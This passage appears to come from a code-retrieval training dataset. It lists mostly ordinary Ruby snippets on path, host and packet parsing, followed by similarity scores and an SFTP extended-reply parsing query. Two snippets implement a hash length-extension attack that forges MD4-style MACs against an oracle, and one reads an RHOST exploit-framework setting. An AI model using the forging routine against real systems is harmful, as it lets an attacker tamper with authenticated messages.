"def parse path\n @h=Hash.new(0)\n open(path).readlines.map{|x|\n x.chomp.split(\" \").reject{|v|v.empty?}\n }.each{|u|\n @h[u.shift]=u.map{|w|w.split(\":\")}\n }\n @h.clone\nend",
"def shell_installed(home)\n @logger.info(\"Searching for config in home #{home}\")\n @config_paths.each do |path|\n config_file = File.join(home, path)\n if File.exists?(config_file)\n @logger.info(\"Found config file #{config_file}\")\n return config_file\n end\n end\n return nil\n end",
"def diff_files\n hsh = {}\n @base.git.diff_files.split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, type) = info.split\n hsh[file] = {:path => file, :mode_file => mode_src.to_s[1, 7], :mode_index => mode_dest,\n :sha_file => sha_src, :sha_index => sha_dest, :type => type}\n end\n hsh\n end",
"def folders\r\n @folders ||= begin\r\n request_body = <<-eos\r\n \t\t<?xml version=\"1.0\"?>\r\n \t\t\t\t<D:searchrequest xmlns:D = \"DAV:\">\r\n \t\t\t\t\t <D:sql>\r\n \t\t\t\t\t SELECT \"DAV:displayname\", \"DAV:contentclass\"\r\n \t\t\t\t\t FROM SCOPE('shallow traversal of \"#{to_s}\"')\r\n \t\t\t\t\t WHERE \"DAV:ishidden\" = false\r\n AND \"DAV:isfolder\" = true\r\n \t\t\t\t\t </D:sql>\r\n \t\t\t\t</D:searchrequest>\r\n eos\r\n\r\n response = DavSearchRequest.execute(@credentials, :body => request_body)\r\n\r\n folders = {}\r\n\r\n # iterate through folders query and add a new Folder\r\n # object for each, under a normalized name.\r\n xpath_query = \"//a:propstat[a:status/text() = 'HTTP/1.1 200 OK']/a:prop\"\r\n XML::Parser.string(response.body).parse.find(xpath_query).each do |m|\r\n displayname = m.find_first('a:displayname').content\r\n contentclass = m.find_first('a:contentclass').content\r\n folders[displayname.normalize] = Folder.new(@credentials, self, displayname, contentclass.split(':').last.sub(/folder$/, '')) \r\n end\r\n \r\n folders\r\n end\r\n end",
"def to_hash\n { \"path_to\" => @path_to,\n \"url\" => @url,\n \"subrepos\" => @subrepos.each(&:path_to),\n \"isHead\" => @is_head,\n }\n end",
"def get_domain_data\n get_stored_paths.inject({ 'domain' => base_uri.hostname, 'paths' => {}}) do |hsh, path|\n hsh['paths'][path] = get_path_data(path)\n hsh\n end\n end",
"def server_hash\n @server_hash ||= {}.tap do |h|\n num_members.times do |idx|\n h[\"server.#{idx}\"] = \"127.0.0.1:#{base_port + FOLLOWER_PORT_OFFSET + idx}:#{base_port + LEADER_PORT_OFFSET + idx}\"\n end\n end\n end",
"def dir_list(dir)\n ls_out = ssh_cmd \"ls --color=never -1AgGF #{dir}\" # disable color, 1 file per line, all but . and .., hide owner+group, include type suffix\n result = {}\n ls_out.split(\"\\n\").each do |line|\n next unless matches = line.match(/^[\\w-]+\\s+\\d+\\s+(?<size>\\d+).*(?:\\d\\d:\\d\\d|\\d{4})\\s+(?<name>.*)$/)\n file_name = matches[:name]\n file_name = file_name[0...-1] if file_name =~ %r![*/=>@|]$!\n result[file_name.split('/')[-1]] = (matches[:name][-1] == '/' ? '/' : matches[:size].to_i)\n end\n result\n end",
"def home\n @home ||= \"#{site.local_url}\"\n end",
"def rhost\n\t\tdatastore['RHOST']\n\tend",
"def with_home_logdir(vars_set)\n all_vars = [\"HOME\", \"LOGDIR\"]\n to_restore = {}\n begin\n for var in all_vars\n to_restore[var] = ENV[var]\n if vars_set.include?(var)\n ENV[var] = \"subdir_#{var}\"\n else\n ENV.delete(var)\n end\n end\n yield\n ensure\n for var in all_vars\n value = to_restore[var]\n if value\n ENV[var] = value\n else\n ENV.delete(var)\n end\n end\n end\n end",
"def to_hash\n { :host => host,\n :path => path,\n :protocol => protocol,\n :port => port,\n :account_id => account_id,\n :api_id => api_id,\n :secret_phrase => secret_phrase,\n :voice => voice,\n :ext => ext }\n end",
"def parse_prefix(prefix)\n nick_and_user, host = String(prefix).split \"@\", 2\n\n if host.nil?\n if nick_and_user.include? \".\"\n servername = nick_and_user\n else\n nickname = nick_and_user\n end\n else\n nickname, user = nick_and_user.split \"!\", 2\n end\n\n [nickname, user, host || servername]\n end",
"def fetch_basic_info\n {\n server: Socket.gethostname,\n rails_root: defined?(Rails) ? Rails.root : nil,\n process: $PROCESS_ID,\n uname: Sys::Uname.uname,\n timestamp: @timestamp,\n pwd: File.expand_path($PROGRAM_NAME)\n }\n end",
"def hash\n [file_info, output_path, encoding, recognize_lists, leading_spaces, trailing_spaces, enable_pagination].hash\n end",
"def hash\n [authentication_type, community_name, database, domain, enumerate_sids, notes_id_password, ntlm_hash, oracle_listener_password, password, pem_key, permission_elevation, permission_elevation_password, permission_elevation_username, privacy_password, privacy_type, private_key_password, realm, service, sid, use_windows_authentication, username].hash\n end",
"def get_home_path(dependency)\n dep_home = ENV[\"#{dependency.upcase}_HOME\"] ||\n @config.xpath(\"deps/dep[@name = '#{dependency}']/home/text()\").first\n raise %Q{Please specify the home directory for #{dependency} by using\n <dep name=\\\"#{dependency}\\\">\n <home>#{File.join(\"path\", \"to\", dependency, \"home\")}</home>\n </dep>} unless dep_home\n missing_error = \"Directory #{dep_home}, to which #{dependency.capitalize} home is set, doesn't exist.\"\n raise missing_error unless File.directory? dep_home\n dep_home\n end",
"def keys_file_path_relative_to_home\n return \"~/#{keys_file_path_from_home}\"\n end",
"def keys_file_path\n return File.join(Dir.home, keys_file_path_from_home)\n end",
"def directory_index\n @hash[\"DirectoryIndex\"]\n end",
"def _io_user_data(username)\n (node['etc'] && node['etc']['passwd'] && node['etc']['passwd'][username]) || {\n 'uid' => username,\n 'gid' => username,\n 'dir' => \"/home/#{username}\"\n }\nend",
"def parts\n {host_name: host_name, dns_name: dns_name, subdomain: subdomains,\n registration_name: registration_name, domain_name: domain_name,\n tld2: tld2, tld: tld, ip_address: ip_address,}\n end",
"def parse_path(path)\n if (match = path.match(PATH_REGEX))\n host, secure, dir = match[1], match[2], fix_dir(match[3])\n {\n :name => '%s::%s' % [host, dir],\n :host => host,\n :dir => dir,\n :secure => secure.nil? && :no || :yes\n }\n else\n raise WebappError, \"#{path} is not a valid webapp path\"\n end\n end",
"def jruby_home\n ENV['JRUBY_HOME'] || RbConfig::CONFIG['prefix']\n end",
"def extract_protocol(protocol_string)\n [\"name\", \"shared\", \"guest access\", \"inherit perms\"].inject({}) do |hash, key|\n hash[key] = protocol_value_for_key_in_string(key, protocol_string)\n hash\n end\n end",
"def system_home\n ENV.fetch(\"HOME\").tr(\"\\\\\", \"/\")\nend",
"def parse_response_list(rl, submission) \n\tpairs_array = rl.split(\"~\")\n\tresponse_hash = Hash.new\n\n\tpairs_array.each do |pair|\n\t\tkey_value = pair.split(\":\")\n\t\tresponse_hash[key_value[0]] = key_value[1]\n\tend\n\n\treturn response_hash\nend",
"def home_path?(path)\n path[0] == ?~\n end",
"def git_root_till_home\n Pathname.new(Dir.pwd).ascend do |dir_pathname|\n return dir_pathname if File.directory?(\"#{dir_pathname}/.git\")\n return nil if dir_pathname.to_s == home_dir\n end\n end",
"def file_get_initialization(structure = ENV[\"HOME\"]) # this is linux specific for now\n @file_information = {} # {\"/directory\"=>[\"file\"], \"/directory/directory\"=>[\"file\", \"file\"]\n files = [] \n directory = \"\"\n directories = [] \n things = structure.split('/')\n things.each do |thing|\n if thing == \"\"\n directories.push(\"/root\")\n else\n directory = \"#{directory}/#{thing}\" \n @current_directory = directory\n directories.push(\"#{directory}\") if File.directory?(\"#{directory}\")\n end\n end \n return directories\n end",
"def installConfData(fname)\n\t\t$alog.lwrite('Parsing Installation info started ', 'INFO')\n\t\t@installData= Hash.new\n\t\th= YAML.load(File.read(fname))\n\t\[email protected]!(h)\n\t\tpwd=Dir.pwd\n\t\t@project= '/'+pwd.split('/')[-1] \t\t\t\t\t\t\t#current directory name\n\t\t@report_url= @project +@installData['repDir']\n\t\t@report_path= pwd+ @installData['repDir']+'/'\n\n\t\t@logDir= pwd+ @installData['logDir']\n\t\t@resource_url= '/Xover/resources/'\n\t\t@xoRepName= @installData['xoRepName']\n\tend",
"def hash\n [domain, register_server, transport_protocol, proxy_server, register_server2, transport_protocol2, proxy_server2, register_server3, transport_protocol3, proxy_server3, registration_expire_time, user_name, password, authorization_name, user_email, voice_mail].hash\n end",
"def to_hash\n thishash = Hash.new()\n thishash['node_number'] = @node_number\n thishash['port'] = @port\n unless @slaveof.nil?\n thishash['slaveof'] = @slaveof['host'] + \":\" + @slaveof['port'].to_s\n end\n return thishash\n end",
"def nailgun_home\n ENV['NAILGUN_HOME'] || File.expand_path('tool/nailgun', jruby_home)\n end",
"def home hash = {}\n hash[:controller] = 'kopal/home'\n return root if hash[:action].blank? or hash[:action] == 'index'\n home_path hash.update :trailing_slash => true\n end",
"def home\n env.home\n end",
"def host\n @prefix =~ PREFIX_PAT and $3\n end",
"def parse_servers\n tuples = config.scan(SERVER_REGEXP)\n hsh = {}\n tuples.map do |(vrf, host, prefer, minpoll, maxpoll, sourcei, key)|\n hsh[host] = {\n vrf: vrf,\n prefer: !prefer.nil?,\n minpoll: minpoll.nil? ? nil : minpoll.to_i,\n maxpoll: maxpoll.nil? ? nil : maxpoll.to_i,\n source_interface: sourcei,\n key: key.nil? ? nil : key.to_i\n }\n hsh[host]\n end\n\n { servers: hsh }\n end",
"def find_route_info(packet, path)\n parts = path.split('/')\n pad = parts.shift\n matched = home(packet, :subsite => true)\n extras = ''\n while (!parts.empty?)\n next_part = parts.shift\n matches = matched.children.first(:slug => next_part)\n if(matches) \n matched = matches\n else\n extras = parts.unshift(next_part).unshift(pad).join('/')\n parts = []\n end\n end\n [extras, matched]\n end",
"def get_PtrnHash(ptn, hsh)\n puts ptn\n puts hsh\n while true\n puts \"======\"\n line=gets.chop!\n ret = {}\n if line =~ /#{ptn}/ \n hsh.each { |k, v|\n# puts \" #{k} -> #{v} : '#{$~[hsh[k]]}'\"\n ret[k] = $~[v]\n }\n p ret\n return ret\n end\n end\nend",
"def get_hash_extended\n rc = info_search(:extended => true)\n return rc if OpenNebula.is_error?(rc)\n to_hash\n end",
"def get_host_info(parsed_response, template)\n parsed_response[template]\n end",
"def dirHash(directory, regexp)\n directory = Pathname.new(directory)\n contents = \"\"\n Dir.foreach(directory) {\n | entry |\n if entry =~ regexp\n contents += IO::read(directory + entry)\n end\n }\n return Digest::SHA1.hexdigest(contents)\nend",
"def dir\n ENV['XDG_CONFIG_HOME'] || File.join(home, '.config')\n end",
"def all_dict(subdir='')\n packages_dir = Dir.new(File.join(@path, subdir))\n package_list = {}\n\n packages_dir.each do |entry|\n full_path = File.join(packages_dir.path, entry)\n\n next if entry =~ /^\\./\n\n package_list[entry] = {\n 'name' => entry,\n 'path' => full_path\n }\n\n if File.directory? full_path\n children = Dir.entries(full_path).reject do |name|\n name[0] == '.'\n end\n\n stats = File.lstat(full_path)\n\n package_list[entry]['items'] = children.count\n package_list[entry]['size'] = stats.size\n end\n end\n\n package_list\n end",
"def home_path_for(sling)\n if ( @path == nil )\n props = sling.get_node_props(group_url)\n @path = props[\"path\"]\n end\n return \"/_group\"+@path\n end",
"def conf\n home.join('nginx.conf')\n end",
"def dir(hash={})\n\t\t$_TAGHASH_['GSj'].concat(DIRMAP[hash['value']])\n\tend",
"def ldap_search(cmd)\n stdin, stdout, stderr = Open3.popen3(cmd)\n big = {}\n o = {}\n raw_output = \"\"\n currentkey = ''\n stdout.each do |line|\n raw_output << line\n line.chomp!\n next if line =~ /^#/\n if line == '' # end of record\n if o.size > 0\n if o.key?('dn')\n big[o['dn']] = o\n end\n end\n o = {}\n currentkey = nil\n next\n end\n if line =~ /^\\s+(.*)/ # line starting with space is continuation\n next if currentkey.nil?\n d = o[currentkey]\n if d.instance_of? Array\n i = o[currentkey].size()-1\n t = o[currentkey][i] + $1\n o[currentkey][i] = t\n next\n else\n d = d + $1\n o[currentkey] = d\n next\n end\n end\n if line =~ /^(.*): (.*)$/\n k=$1\n currentkey = k\n v=$2\n d = o[k]\n if d.nil?\n o[k] = v\n next\n end\n if d.instance_of? Array\n o[k] << v\n next\n end\n o[k] = [o[k]]\n o[k] << v\n next\n end\nend\n return output = { 'raw' => raw_output, 'json' => big.to_json, 'pretty' => JSON.pretty_generate(big)}\n \n \nend",
"def hash\n [auth_mode, count_per_project, email_from, email_host, email_port, email_identity, email_username, email_ssl, email_insecure, ldap_url, ldap_base_dn, ldap_filter, ldap_scope, ldap_uid, ldap_search_dn, ldap_timeout, ldap_group_attribute_name, ldap_group_base_dn, ldap_group_search_filter, ldap_group_search_scope, ldap_group_admin_dn, oidc_client_id, oidc_endpoint, oidc_name, oidc_scope, oidc_verify_cert, project_creation_restriction, quota_per_project_enable, read_only, self_registration, storage_per_project, token_expiration, verify_remote_cert, scan_all_policy].hash\n end",
"def home_path_for(sling)\n if ( @path == nil )\n props = sling.get_node_props(user_url)\n @path = props[\"path\"]\n end\n return \"/_user\"+@path\n end",
"def solr_home\n @solr_home ||=\n if user_configuration_from_key('solr', 'solr_home')\n user_configuration_from_key('solr', 'solr_home')\n else\n File.join(::Rails.root, 'solr')\n end\n end",
"def install(home)\n path = shell_installed(home)\n if path && !is_installed(path)\n File.open(path, \"a\") do |f|\n f.write(\"\\n\")\n f.write(@prepend_string)\n f.write(\"\\n\")\n f.write(@string_insert)\n f.write(\"\\n\")\n f.write(@append_string)\n f.write(\"\\n\")\n end\n end\n return path\n end",
"def home_extension=(home_extension)\n\n if !home_extension.nil? && home_extension.to_s.length > 10\n fail ArgumentError, \"invalid value for 'home_extension', the character length must be smaller than or equal to 10.\"\n end\n\n @home_extension = home_extension\n end",
"def home_extension=(home_extension)\n\n if !home_extension.nil? && home_extension.to_s.length > 10\n fail ArgumentError, \"invalid value for 'home_extension', the character length must be smaller than or equal to 10.\"\n end\n\n @home_extension = home_extension\n end",
"def get_puppet_config\n system_config = %x{puppet config print}\n\n config_hash = Hash.new\n\n system_config.each_line do |line|\n k,v = line.split('=')\n config_hash[k.strip] = v.strip\n end\n\n return config_hash\nend",
"def parseSlashDesc(desc)\n hash = Hash.new\n desc.split(\"/\").each do |entry|\n key,value = entry.split(\"=\",2)\n if !value.nil?\n value.gsub!(\"\\\"\",\"\")\n hash[key] = value.chomp(\" \")\n end\n end\n hash\nend",
"def diff_index(treeish)\n hsh = {}\n @base.git.diff_index({}, treeish).split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, status) = info.split\n hsh[file] = {:path => file, :mode_repo => mode_src.to_s[1, 7], :mode_index => mode_dest, \n :sha_repo => sha_src, :sha_index => sha_dest, :status => status}\n end\n hsh\n end",
"def rhost\n datastore['RHOST']\n end"
] | [
"0.575844",
"0.5454618",
"0.5371631",
"0.5337917",
"0.52577704",
"0.5185275",
"0.51493293",
"0.5148376",
"0.5092633",
"0.50910854",
"0.50657636",
"0.50197685",
"0.4945718",
"0.4940299",
"0.48661834",
"0.48472598",
"0.4793397",
"0.47423533",
"0.47088483",
"0.46946728",
"0.4688142",
"0.46780607",
"0.46776462",
"0.4675402",
"0.465904",
"0.46547726",
"0.46291584",
"0.46106985",
"0.45814762",
"0.4552877",
"0.4552877",
"0.45413578",
"0.45146516",
"0.45146516",
"0.45038635",
"0.44950226",
"0.44942588",
"0.44873443",
"0.44873443",
"0.44531652",
"0.44527432",
"0.44527432",
"0.4439941",
"0.44387472",
"0.44264612",
"0.44138813",
"0.44109493",
"0.44050145",
"0.4381365",
"0.43650478",
"0.43470052",
"0.43446398",
"0.43346068",
"0.43235353",
"0.43231314",
"0.4299997",
"0.4296972",
"0.42912444",
"0.4283029",
"0.42640465",
"0.4262725",
"0.42602327",
"0.42593622",
"0.42448118",
"0.4240689",
"0.42356214",
"0.42349318",
"0.4233339",
"0.42304426",
"0.4230439",
"0.422906",
"0.4224586",
"0.41982925",
"0.41967884",
"0.4196688",
"0.41870517",
"0.41854194",
"0.41804498",
"0.41768974",
"0.4173713",
"0.41710553",
"0.41689405",
"0.4154059",
"0.41486356",
"0.41469",
"0.4145969",
"0.41382247",
"0.4133237",
"0.4128996",
"0.4128425",
"0.41269594",
"0.41251415",
"0.41189155",
"0.41136009",
"0.41119802",
"0.41119802",
"0.41115755",
"0.410155",
"0.41009367",
"0.40897292"
] | 0.6162612 | 0 |
Parses the given FXP_EXTENDED_REPL packet and returns a hash, with :extension key, which references SFTP extension and the associated keys | def parse_extented_reply_packet(packet)
packet.read_string do |extension|
data = packet.remainder_as_buffer
parsed_packet = case extension
when "md5-hash" then parse_md5_packet(data)
when "check-file" then parse_hash_packet(data)
when "home-directory" then parse_home_packet(data)
else raise NotImplementedError, "unknown packet type: #{extension}"
end
end
{ :extension => extension }.merge(parsed_packet)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_extensions(extension_request)\n extension_request_hash = {}\n extension_request.each do |extension|\n extension_request_hash[extension.value[0].value] = extension.value[1].value\n end\n return extension_request_hash\nend",
"def find_extras(packet, mode)\n {}\n end",
"def _xfext(io)\n _, ixfe, _, cexts = io.read(8).unpack('v4')\n\n result = {\n # reserved1 (2 bytes): MUST be zero and MUST be ignored.\n ixfe: ixfe, # ixfe (2 bytes): An XFIndex structure that specifies the XF record in the file that this record extends.\n # reserved2 (2 bytes): MUST be zero and MUST be ignored.\n cexts: cexts, # cexts (2 bytes): An unsigned integer that specifies the number of elements in rgExt.\n rgExt: [] # rgExt (variable): An array of ExtProp. Each array element specifies a formatting property extension.\n }\n\n cexts.times { result[:rgExt] << extprop(io) }\n\n result\n end",
"def parse_extended\n [get_symbol, parse]\n end",
"def extract_protocol(protocol_string)\n [\"name\", \"shared\", \"guest access\", \"inherit perms\"].inject({}) do |hash, key|\n hash[key] = protocol_value_for_key_in_string(key, protocol_string)\n hash\n end\n end",
"def edid_decode_extension( bytes, offset )\n extension_tag = bytes[offset+0]\n extension_revision = bytes[offset+1]\n extension_checksum = bytes[offset+127]\n puts\n case extension_tag\n when 0x00\n puts \"Timing Extension\"\n puts \" Extension revision %u\" % extension_revision\n when 0x01\n puts \"LCD Timings Extension\"\n puts \" Extension revision %u\" % extension_revision\n when 0x02 # CTA EDID Timing Extension\n puts \"CTA EDID Additional Timing Data Extension\"\n puts \" Revision %u\" % extension_revision\n edid_decode_cta_block( bytes, offset, \" \" )\n when 0x10\n puts \"Video Timing Block\"\n puts \"Extension revision %u\" % extension_revision\n when 0x20\n puts \"EDID 2.0 Extension\"\n puts \"Extension revision %u\" % extension_revision\n when 0x30\n puts \"Color information type 0\"\n puts \"Extension revision %u\" % extension_revision\n when 0x40 # VESA standard has this as DVI feature data\n puts \"Display Information Extension (DI-EXT)\"\n when 0x50 # VESA standard has this as Touch screen data\n puts \"Localized String Extension (LS-EXT)\"\n when 0x60\n puts \"Microdisplay Interface Extension (MI-EXT)\"\n when 0x70\n puts \"Display ID Extension\"\n when 0xa7, 0xaf, 0xbf\n puts \"Display Transfer Characteristics Data Block (DTCDB)\"\n when 0xf0\n puts \"EDID Block Map\"\n when 0xff\n puts \"Manufacturer Defined Extension\"\n puts \" Data: %s\" % extension_data.map{|b|\"%02x \"%b}.join\n else\n puts \"Undefined Extension Type 0x%02x\" % extension_tag\n puts \" Data: %s\" % extension_data.map{|b|\"%02x \"%b}.join\n end\nend",
"def extract_protocols\n protocol_info = Hash[*snippet.split(/(#{supported_protocols.join(\"|\")}):\\t*[{}]/)[1..-1]]\n supported_protocols.each do |protocol_name|\n protocol_info[protocol_name] = extract_protocol(protocol_info[protocol_name])\n end\n protocol_info\n end",
"def extension_parameters\n @extension_parameters ||= {}\n end",
"def extensions\n if @extensions.nil?\n @extensions = Hash.new\n @cert.extensions.to_a.each { |extension|\n extension = extension.to_a\n if(!@extensions[extension[0]].kind_of?(Array)) then\n @extensions[extension[0]] = []\n end\n hash = {'value' => extension[1], 'critical' => extension[2]}\n @extensions[extension[0]].push hash\n }\n end\n @extensions\n end",
"def extensions\n unless @extensions\n @extensions={}\n cert.extensions.each {|e| @extensions[e.oid]=e.value} if cert.extensions\n end\n @extensions\n end",
"def get_hash_extended\n rc = info_search(:extended => true)\n return rc if OpenNebula.is_error?(rc)\n to_hash\n end",
"def extended_key_usage\n extensions[R509::Cert::Extensions::ExtendedKeyUsage]\n end",
"def extensions\n form_data = { 'action' => 'query', 'meta' => 'siteinfo', 'siprop' => 'extensions' }\n res = make_api_request(form_data)\n REXML::XPath.match(res, \"//ext\").inject(Hash.new) do |extensions, extension|\n name = extension.attributes[\"name\"] || \"\"\n extensions[name] = extension.attributes[\"version\"]\n extensions\n end\n end",
"def parts\n {host_name: host_name, dns_name: dns_name, subdomain: subdomains,\n registration_name: registration_name, domain_name: domain_name,\n tld2: tld2, tld: tld, ip_address: ip_address,}\n end",
"def parse_data_packet(packet)\n { :data => packet.read_string }\n end",
"def extensions\r\n e = []\r\n @extensions.each_key do |k|\r\n e.push k\r\n end\r\n return e\r\n end",
"def map_config_extensions\n @extensions = Hash.new\n @config[\"types\"].each do |k,v|\n puts \"#{k} => #{v}\"\n v.each do |ext|\n @extensions[ext] = k\n end\n end\n return @extensions\n end",
"def extract_variables\n postfix_notation.select{|node| node.kind_of? String}.inject({}){|h, v| h[v] = nil; h}\n end",
"def md_extensions\n # empty for now\n {}\n end",
"def extprop(io)\n ext_type, cb = io.read(4).unpack('vv')\n prop_data = _ext_prop_d(ext_type)\n\n result = {\n extType: ext_type, # extType (2 bytes): An unsigned integer that specifies the type of the extension.\n extType_d: prop_data[:structure],\n _property: prop_data[:property],\n cb: cb, # cb (2 bytes): An unsigned integer that specifies the size of this ExtProp structure.\n }\n\n ext_prop_data = io.read(cb - 4) # structure size minus ext_type and cb\n parser_method = prop_data[:structure].downcase\n result[:extPropData] = self.send(parser_method, ext_prop_data) # extPropData (variable): This field specifies the extension data.\n\n result\n end",
"def rels_ext\n if !datastreams.has_key?(\"RELS-EXT\") \n ds = ActiveFedora::RelsExtDatastream.new(@inner_object,'RELS-EXT')\n ds.model = self\n add_datastream(ds)\n end\n return datastreams[\"RELS-EXT\"]\n end",
"def length_extension_attack(mac, message, payload, oracle)\n # We will assume a 256-bit key (for no real reason other than a more realistic demonstration).\n (0..32).each do |key_size|\n # The forged message is constructed as MD4(key || original-message || glue-padding || new-message).\n # The key need not be the true key, as we only care about the key-size, as per the way Merkle-Damgard constructed digests are padded.\n # Hence, we can use any key for the glue-padding, so long as the guessed key-size is correct.\n forged_message = pad('A' * key_size + message)[key_size..-1] + payload\n\n # With the registers \"fixated\", hash the additional data you want to forge.\n registers = internal_state(mac)\n md4_mac = MD4_MAC.new('', payload, (key_size + forged_message.size) * 8, *registers)\n forged_mac = md4_mac.digest\n\n if oracle.verify(forged_message, forged_mac)\n return [forged_message, forged_mac, key_size]\n end\n end\n\n raise 'MD4 length-extension attack failed.'\nend",
"def template_extensions\n EXTENSIONS.keys\n end",
"def extension(key)\n @extensions[key.to_s]\n end",
"def length_extension_attack(mac, message, payload, oracle, type)\n # We will assume a 256-bit key (for no real reason other than a more realistic demonstration).\n (0..32).each do |key_size|\n # The forged message is constructed as H(key || original-message || glue-padding || new-message).\n # The key need not be the true key, as we only care about the key-size, as per the way Merkle-Damgard constructed digests are padded.\n # Hence, we can use any key for the glue-padding, so long as the guessed key-size is correct.\n forged_message = type.pad('A' * key_size + message)[key_size..-1] + payload\n\n # With the registers \"fixated\", hash the additional data you want to forge.\n registers = type.state(mac)\n forged_mac = type.new('', payload, (key_size + forged_message.size) * 8, *registers).digest\n\n if oracle.verify(forged_message, forged_mac)\n return [forged_message, forged_mac, key_size]\n end\n end\n\n raise 'Length-extension attack failed.'\n end",
"def to_h\n extensions = {\n \"code\" => code,\n \"variableName\" => variable_name\n }.tap { |h| h[\"typeName\"] = type_name unless type_name.nil? }\n\n super.merge({\n \"extensions\" => extensions\n })\n end",
"def extension_id\n raise Tay::PrivateKeyNotFound.new unless private_key_exists?\n\n public_key = OpenSSL::PKey::RSA.new(File.read(full_key_path)).public_key.to_der\n hash = Digest::SHA256.hexdigest(public_key)[0...32]\n hash.unpack('C*').map{ |c| c < 97 ? c + 49 : c + 10 }.pack('C*')\n end",
"def data\n data = Jhead.call(@match, @pattern).split(\"\\n\\n\").map { |p| p.split(\"\\n\") }\n data.map! do |p|\n h = Hash.new\n p.each do |l|\n #OPTIMIZE for the moment, ignore line:\n # \"======= IPTC data: =======\" and its following lines.\n break if l == \"======= IPTC data: =======\"\n if l =~ /(.+?)\\s*:\\s*(.+)/\n h[parse_tag $1] = parse_value $2\n end\n end\n h\n end\n\n data.size == 1 ? data.first : data\n end",
"def to_h\n extensions = {\n \"code\" => code,\n \"name\" => name,\n \"typeName\" => type_name,\n \"argumentName\" => argument_name\n }\n\n super.merge({\n \"extensions\" => extensions\n })\n end",
"def sub_ext(repl)\n ext = File.extname(@path)\n self.class.new(@path.chomp(ext) + repl)\n end",
"def supported_extension_oids\n\t\treturn self.root_dse[:supportedExtension]\n\tend",
"def extension_properties\n return @extension_properties\n end",
"def parse_server_algorithm_packet(packet); end",
"def ext_pubkey\n k = ExtPubkey.new\n k.depth = depth\n k.number = number\n k.parent_fingerprint = parent_fingerprint\n k.chain_code = chain_code\n k.pubkey = key.pubkey\n k.ver = priv_ver_to_pub_ver\n k\n end",
"def ext_pubkey\n k = ExtPubkey.new\n k.depth = depth\n k.number = number\n k.parent_fingerprint = parent_fingerprint\n k.chain_code = chain_code\n k.pubkey = key.pubkey\n k\n end",
"def decode_uniprot_entry (ent)\n\t\tentryHash = Hash.new\n\n\t\tif ent.nil?\n\t\t\treturn entryHash\n\t\tend\n\n\t\tname = ent.elements['name']\n#\t\tentryHash['name'] = name.text\n\n\t\tpdb_ids = ent.elements.collect(\"dbReference[@type='PDB']\") { |pdb|\n\t\t\tpdb.attribute('id')\n\t\t}\n\t\tif pdb_ids.length > 0\n\t\t\tentryHash['pdbimg'] = '<img src=\"http://www.rcsb.org/pdb/images/'+pdb_ids[0].value+'_asr_r_80.jpg\" '\t\t\t\t\t\t\t\t\t+ 'width=\"80\" height=\"80\" />'\n\t\telse\n\t\t\tentryHash['pdbimg'] = '<img src=\"/images/target_placeholder.png\" width=\"80\" height=\"80\" />'\n\t\tend\n\n\t\tprot_full_name = ent.elements.collect('protein/recommendedName/fullName') { |name|\n\t\t\tname.text\n\t\t}\n\t\tentryHash['proteinFullName'] = prot_full_name[0]\n\n\t\taccList = ent.elements.collect('accession') { |acc| acc.text }\n\t\taccList.map! { |acc| '<a href=\"http://www.uniprot.org/uniprot/'+acc+'\" target=\"_blank\">'+acc+'</a>' }\n\t\tentryHash['accessions'] = accList\n\n\t\tgene_pri_name = ent.elements.collect(\"gene/name[@type='primary']\") { |gene| gene.text }\n#\t\tentryHash['primaryName'] = gene_pri_name[0].nil? ? '': gene_pri_name[0]\n\t\tentryHash['genes'] = gene_pri_name\n\n\t\tgene_syn_names = ent.elements.collect(\"gene/name[@type='synonym']\") { |gene| gene.text }\n#\t\tentryHash['synonim_name'] = gene_syn_name[0].nil? ? '': gene_syn_name[0]\n\t\tentryHash['genes'] << gene_syn_names\n\t\tentryHash['genes'].flatten!\n\n#\t\tkeywords = ent.elements.collect('keyword') {|keyw| keyw.text }\n#\t\tentryHash['keywords'] = keywords\n\n\n\t\torg_sci = ent.elements.collect(\"organism/name[@type='scientific']\") { |orgName| orgName.text }\n\t\tentryHash['organismSciName'] = org_sci[0].nil? ? '': org_sci[0]\n\n\t\torg_comm = ent.elements.collect(\"organism/name[@type='common']\") { |orgName| orgName.text }\n#\t\t\tentryHash['organism_comm_name'] = org_comm[0].nil? ? '': org_comm[0]\n\n\t\tfunc_comment = ent.elements.collect(\"comment[@type='function']/text\") { |comment| comment.text }\n\t\tentryHash['function'] = func_comment[0].nil? ? '': func_comment[0]\n\n\t\tnum_of_refs = 0\n\t\tent.elements.each(\"reference\") { |ref| num_of_refs += 1 }\n#\t\tentryHash['numOfRefs'] = num_of_refs\n\n\t\tseq = ent.elements['sequence'] #\t\tseq.attributes (=> {attribute1=value1,... })\n#\t\tentryHash['sequence'] = {'length' => seq.attributes['length'],\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'mass' => seq.attributes['mass'],\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'seq' => seq.text.gsub!(/\\s/, '') }\n\n\t\tentryHash\n\tend",
"def config_extensions\n {\n # \"custom_crl_fields\" => {\"fullname\" => \"URI:#{fullname}\"},\n # \"issuer_sect\" => {\"CN\" => \"crlissuer.com\", \"C\" => \"US\", \"O\" => \"shudder\"}\n }\n end",
"def extension\n return _meta_data['extension'] if _meta_data.has_key? 'extension'\n ext\n end",
"def get_vars(instruction)\n dictionary = {\n 'definition' => ['os_type_id','iso_file','boot_cmd_sequence','postinstall_files'],\n 'kickstart' => ['reponame','pkgs'],\n 'preseed' => ['suite','pkgs'],\n 'autoinst' => ['pkgs']\n }\n # 'kickstart_file' option in definition.rb is deprecated\n # erb_vars = ['os_type_id','iso_file','boot_cmd_sequence','kickstart_file','postinstall_files']\n return dictionary[instruction]\n end",
"def parse_servers\n tuples = config.scan(SERVER_REGEXP)\n hsh = {}\n tuples.map do |(vrf, host, prefer, minpoll, maxpoll, sourcei, key)|\n hsh[host] = {\n vrf: vrf,\n prefer: !prefer.nil?,\n minpoll: minpoll.nil? ? nil : minpoll.to_i,\n maxpoll: maxpoll.nil? ? nil : maxpoll.to_i,\n source_interface: sourcei,\n key: key.nil? ? nil : key.to_i\n }\n hsh[host]\n end\n\n { servers: hsh }\n end",
